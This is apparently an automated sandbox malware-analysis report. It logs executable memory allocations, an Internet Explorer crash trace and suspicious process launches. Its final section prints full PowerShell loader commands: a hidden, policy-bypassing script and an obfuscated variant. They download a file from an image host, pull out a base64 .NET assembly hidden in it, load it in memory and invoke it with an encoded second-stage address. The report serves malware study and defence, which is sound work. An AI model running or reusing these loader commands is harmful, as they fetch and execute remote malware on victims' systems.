request	GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
request	GET https://imageupload.io/ib/ekWgHWjP3arvUq7_1698166097.jpg

Allocates read-write-execute memory (usually to unpack itself) (50 out of 455 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 region_size: 2428928 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002fd0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003220000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003520000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa1b7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef69c9000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:44 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feeccc9000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 region_size: 9179136 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000027c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003080000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077186000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772d6000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077181000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076ba0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772bb000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe117000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 31, 2023, 5:43 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdbe4000 process_handle: 0xffffffffffffffff	1

An application raised an exception which may be indicative of an exploit crash (2 events)

Time & API	Arguments	Status	Return	Repeated
Application Crash	Process iexplore.exe with pid 3068 crashed
__exception__ Oct. 31, 2023, 5:44 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefda5a49d registers.r14: 0 registers.r15: 0 registers.rcx: 111928176 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 111934128 registers.r11: 111929936 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1905685317 registers.r13: 0	1	0	0

Application Crash

Process iexplore.exe with pid 3068 crashed

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 31, 2023, 5:44 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ekWgHWjP3arvUq7_1698166097.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmpzaHZnaGp4YjQ2ZXNhYmVuaXp1Yy80NzEuNzMuNDUyLjU4MS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€aQBt€€GE€€ZwBl€€HU€€c€€Bs€€G8€€YQBk€€C4€€aQBv€€C8€€aQBi€€C8€€ZQBr€€Fc€€ZwBI€€Fc€€agBQ€€DM€€YQBy€€HY€€VQBx€€Dc€€Xw€€x€€DY€€OQ€€4€€DE€€Ng€€2€€D€€€€OQ€€3€€C4€€agBw€€Gc€€Jw€€7€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€I€€€€9€€C€€€€TgBl€€Hc€€LQBP€€GI€€agBl€€GM€€d€€€€g€€FM€€eQBz€€HQ€€ZQBt€€C4€€TgBl€€HQ€€LgBX€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€7€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€€€k€€Hc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€C4€€R€€Bv€€Hc€€bgBs€€G8€€YQBk€€EQ€€YQB0€€GE€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBV€€HI€€b€€€€p€€Ds€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€V€€Bl€€Hg€€d€€€€u€€EU€€bgBj€€G8€€Z€€Bp€€G4€€ZwBd€€Do€€OgBV€€FQ€€Rg€€4€€C4€€RwBl€€HQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBC€€Hk€€d€€Bl€€HM€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBT€€FQ€€QQBS€€FQ€€Pg€€+€€Cc€€Ow€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBF€€E4€€R€€€€+€€D4€€Jw€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€D0€€I€€€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C4€€SQBu€€GQ€€ZQB4€€E8€€Zg€€o€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€ZQBu€€GQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bl€€G4€€Z€€BG€€Gw€€YQBn€€Ck€€Ow€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€ZQ€€g€€D€€€€I€€€€t€€GE€€bgBk€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€d€€€€g€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€Cs€€PQ€€g€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€LgBM€€GU€€bgBn€€HQ€€a€€€€7€€CQ€€YgBh€€HM€€ZQ€€2€€DQ€€T€€Bl€€G4€€ZwB0€€Gg€€I€€€€9€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBT€€HU€€YgBz€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€s€€C€€€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€p€€Ds€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€QwBv€€G4€€dgBl€€HI€€d€€Bd€€Do€€OgBG€€HI€€bwBt€€EI€€YQBz€€GU€€Ng€€0€€FM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€Ck€€Ow€€k€€Gw€€bwBh€€GQ€€ZQBk€€EE€€cwBz€€GU€€bQBi€€Gw€€eQ€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€UgBl€€GY€€b€€Bl€€GM€€d€€Bp€€G8€€bg€€u€€EE€€cwBz€€GU€€bQBi€€Gw€€eQBd€€Do€€OgBM€€G8€€YQBk€€Cg€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€B0€€Hk€€c€€Bl€€C€€€€PQ€€g€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C4€€RwBl€€HQ€€V€€B5€€H€€€€ZQ€€o€€Cc€€RgBp€€GI€€ZQBy€€C4€€S€€Bv€€G0€€ZQ€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C€€€€PQ€€g€€CQ€€d€€B5€€H€€€€ZQ€€u€€Ec€€ZQB0€€E0€€ZQB0€€Gg€€bwBk€€Cg€€JwBW€€EE€€SQ€€n€€Ck€€LgBJ€€G4€€dgBv€€Gs€€ZQ€€o€€CQ€€bgB1€€Gw€€b€€€€s€€C€€€€WwBv€€GI€€agBl€€GM€€d€€Bb€€F0€€XQ€€g€€Cg€€JwBk€€Eg€€a€€€€w€€Ew€€bQBw€€Ho€€YQBI€€Fo€€bgBh€€Ec€€c€€€€0€€Fk€€agBR€€DI€€WgBY€€E4€€a€€BZ€€G0€€VgB1€€GE€€W€€Bw€€DE€€WQB5€€Dg€€M€€BO€€Ho€€RQB1€€E4€€egBN€€HU€€TgBE€€FU€€eQBM€€Go€€VQ€€0€€E0€€Uw€€4€€HY€€TwBu€€EI€€M€€Bk€€Ec€€Zw€€9€€Cc€€I€€€€s€€C€€€€JwBk€€GY€€Z€€Bm€€GQ€€Jw